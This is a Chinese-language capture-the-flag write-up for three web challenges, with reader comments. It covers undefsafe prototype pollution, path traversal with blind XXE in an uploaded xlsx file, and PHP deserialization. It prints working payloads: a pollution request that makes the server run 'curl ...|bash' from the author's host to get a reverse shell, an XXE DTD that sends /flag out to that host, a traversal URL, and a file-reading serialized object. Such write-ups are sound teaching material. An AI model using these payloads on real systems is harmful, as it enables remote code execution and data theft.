Author:颖奇L’Amore
Blog:www.gem-love.com
垃圾比赛,web题目放的非常晚,而且一个队伍只能开一个docker,非常不方便,web题做出来3个,另一个还没来得及看比赛结束了,如果环境持续开放并且能做出来的话再补上wp(更新:被队友做出来了,爷懒得努力了,等有时间再说吧)
比赛PY严重,随便玩玩就好了
一开始不知道主办方还收wp,就把wp放出来2个小时,然后好像传的还比较广,有一千多访问,无意搅屎 在这里道个歉
Notes (100pt)
考点:CVE-2019-10795 undefsafe原型链污染
给了源码:
var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');
var app = express();
class Notes {
constructor() {
this.owner = "whoknows";
this.num = 0;
this.note_list = {};
}
write_note(author, raw_note) {
this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
}
get_note(id) {
var r = {}
undefsafe(r, id, undefsafe(this.note_list, id));
return r;
}
edit_note(id, author, raw) {
undefsafe(this.note_list, id + '.author', author);
undefsafe(this.note_list, id + '.raw_note', raw);
}
get_all_notes() {
return this.note_list;
}
remove_note(id) {
delete this.note_list[id];
}
}
var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));
app.get('/', function(req, res, next) {
res.render('index', { title: 'Notebook' });
});
app.route('/add_note')
.get(function(req, res) {
res.render('mess', {message: 'please use POST to add a note'});
})
.post(function(req, res) {
let author = req.body.author;
let raw = req.body.raw;
if (author && raw) {
notes.write_note(author, raw);
res.render('mess', {message: "add note sucess"});
} else {
res.render('mess', {message: "did not add note"});
}
})
app.route('/edit_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to edit a note"});
})
.post(function(req, res) {
let id = req.body.id;
let author = req.body.author;
let enote = req.body.raw;
if (id && author && enote) {
notes.edit_note(id, author, enote);
res.render('mess', {message: "edit note sucess"});
} else {
res.render('mess', {message: "edit note failed"});
}
})
app.route('/delete_note')
.get(function(req, res) {
res.render('mess', {message: "please use POST to delete a note"});
})
.post(function(req, res) {
let id = req.body.id;
if (id) {
notes.remove_note(id);
res.render('mess', {message: "delete done"});
} else {
res.render('mess', {message: "delete failed"});
}
})
app.route('/notes')
.get(function(req, res) {
let q = req.query.q;
let a_note;
if (typeof(q) === "undefined") {
a_note = notes.get_all_notes();
} else {
a_note = notes.get_note(q);
}
res.render('note', {list: a_note});
})
app.route('/status')
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
app.use(function(req, res, next) {
res.status(404).send('Sorry cant find that!');
});
app.use(function(err, req, res, next) {
console.error(err.stack);
res.status(500).send('Something broke!');
});
const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))
代码比较简单,没学过node也能审计
undefsafe的原型链污染参考:
https://snyk.io/vuln/SNYK-JS-UNDEFSAFE-548940
来到edit_note后post提交如下payload:
id=__proto__.abc&author=curl%20http://gem-love.com:12390/shell.txt|bash&raw=a
之后访问一下status,执行如下代码导致RCE:
.get(function(req, res) {
let commands = {
"script-1": "uptime",
"script-2": "free -m"
};
for (let index in commands) {
exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
if (err) {
return;
}
console.log(`stdout: ${stdout}`);
});
}
res.send('OK');
res.end();
})
反弹shell,在根目录得到flag:
filejava (46pt)
考点:Path Traversal、Arbitrary File Read、java class Decompile、Blind XXE
能上传,传完之后能下载:
看这个url,考虑有目录穿越可以下载任意文件,测试一下:
读取WEB-XML
/file_in_java/DownloadServlet?filename=../../../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml
得到:
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description></description>
<display-name>UploadServlet</display-name>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>ListFileServlet</display-name>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>DownloadServlet</display-name>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>
之后根据xml中的<servlet-class>
把对应class都下载下来,然后反编译(我用的JD-GUI)得到源码:
(btw如果哪位大佬有mac上好用的java反编译软件麻烦留言告诉一下)
源码比较长就不贴了,主要是在UploadServlet.java中有如下代码:
if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
try {
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
} catch (InvalidFormatException e) {
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}
这就比较明显了,考虑是Excel的xxe,和前段时间易霖博的web4那个word文档xxe类似,但是因为是blind,需要把结果打回我们的服务器,做法和hgame week4 代打出题人服务中心那个题目基本一样
先在[Content-Types].xml
中引用外部dtd实体:
<!DOCTYPE y1ng [<!ENTITY % remote SYSTEM 'http://gem-love.com/y1ng.dtd'>%remote;]><y1ng/>
y1ng.dtd:
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://gem-love.com:12358/?q=%file;'>">
%int;
%send;
然后再给压缩回去,上传,flag就打回来了
有的人就要问了,既然知道flag在/flag,为啥不能直接用下载器目录穿越然后读取?是因为DownloadServlet中有过滤:
String fileName = request.getParameter("filename");
fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
System.out.println("filename=" + fileName);
if (fileName != null && fileName.toLowerCase().contains("flag")) {
request.setAttribute("message", "");
request.getRequestDispatcher("/message.jsp").forward((ServletRequest)request, (ServletResponse)response);
return;
}
AreUSerialz (14pt)
考点:反序列化
给了源码:
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
代码比较简单不再过多解读,明显是要进行文件读取来读取flag。
主要需要绕过is_valid()
函数,因为protected
类型的属性的序列化字符串包含不可见字符\00
,会被is_valid()
函数给ban掉。
php7.1+版本对属性类型不敏感,所以本地序列化就直接用public
就可以绕过了(后来还有师傅说把\00
改成空格也可以)
补充:后来我又想了一下,感觉本题考的应该不是这种黑魔法, 出题人应该是想让用S来代替s,在这种情况下\00
就会被解析成%00
(1个字符),而如果是小写s,\00
就是一个斜线+2个零(3个字符)
另外还需要绕过析构方法:
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
因为在进行read()
之前就会调用__destruct()
魔术方法,如果$this->op === "2"
就会设置$this->op
为"1"
,而"1"
是不能调用read()
来文件读取的。可以发现:
__destruct()
方法内使用了严格相等$this->op === "2"
process()
方法内使用了不严格相等else if ($this->op == "2")
所以这里使用弱类型2 == "2"
绕过即可。
之后就是文件读取,但是读flag.php是读不到东西的,来读一下/etc/passwd可以读到,payload:
<?php
class FileHandler {
public $op = 2;
public $filename = "/etc/passwd";
public $content = "y1ng";
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
$a = new FileHandler();
$b = serialize($a);
echo $b."\n";
var_dump(is_valid($b));
因为读不到flag.php,用相对路径一直打不通,考虑使用绝对路径,但是/var/www和/var/www/html都没成功。所以本题目应该是要先找到Apache的工作目录,然后进行文件读取。但是常规路径的apache的配置文件等都通通没有找到
后来通过读取cmdline得到了配置文件:
注意这是两个路径,后面的/web/config/httpd.conf才是真正的路径,不要把两个路径拼在一起了
然后通过配置文件得到了路径,实际上直接观察配置文件的路径也能猜出网站根目录
之后读取flag即可:
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:18:"/web/html/flag.php";s:7:"content";s:4:"y1ng";}
补充:
大部分人应该是直接相对路径读的,经过赛后测试,如果直接用上面的payload并只修改为相对路径,那么
$res = file_get_contents($this->filename);
就会失败并且返回false,所以直接读取是不可以的;但是只要修改一下序列化字符串,比如删掉个符号,改错长度等等,这个file_get_contents()
便不再返回false(绝对路径也不返回false),也就能成功进行读取了,可以自行搭环境然后var_dump()
。
所以评论区也好还是私信,好多相对路径能读的,实际上可以去看看你们的序列化字符串,肯定哪里有点区别。
那么为啥会返回false,本地测试并且通过var_dump(scandir('.'));
可知它执行完如果反序列化字符串没有异常就往前穿越到了根目录(至少我本机mac+nginx+php7.3环境是穿越到根目录),而根目录是没有flag.php的,所以读不出来。
为啥会穿越目录?这是析构方法的锅,请看官方Note:
https://www.php.net/manual/zh/language.oop5.decon.php
析构函数在脚本关闭时调用,此时所有的HTTP头信息已经发出。 脚本关闭时的工作目录有可能和在SAPI(如apache)中时不一样。
这种问题在开发中也出现,请参考这篇文章给出的解决办法:
1、在__destruct 中使用绝对路径操作文件
2、__destruct 之前比如构造函数内,先获取 getcwd() 工作目录,然后在 __destruct 中使用 chdir($StrPath) 重新设定工作目录。
所以在做这个题目时候,我用了绝对路径而成功读取到了flag。
另外听说还有人根据刚启动容器的docker报错直接找到了docker源码,从源码里得到了根目录,这也太秀了
颖奇L'Amore原创文章,转载请注明作者和文章链接
本文链接地址:https://blog.gem-love.com/websecurity/2322.html
注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示
反序列化那题我用相对路径就读到了,是后面改题了吗
文件名中直接+元封装器读成base64的 不用找目录
php伪协议就可以读到flag了
不需要伪协议,读出来的被注释了而已,f12就可以看到了
感谢,终于找到写的像样的wp了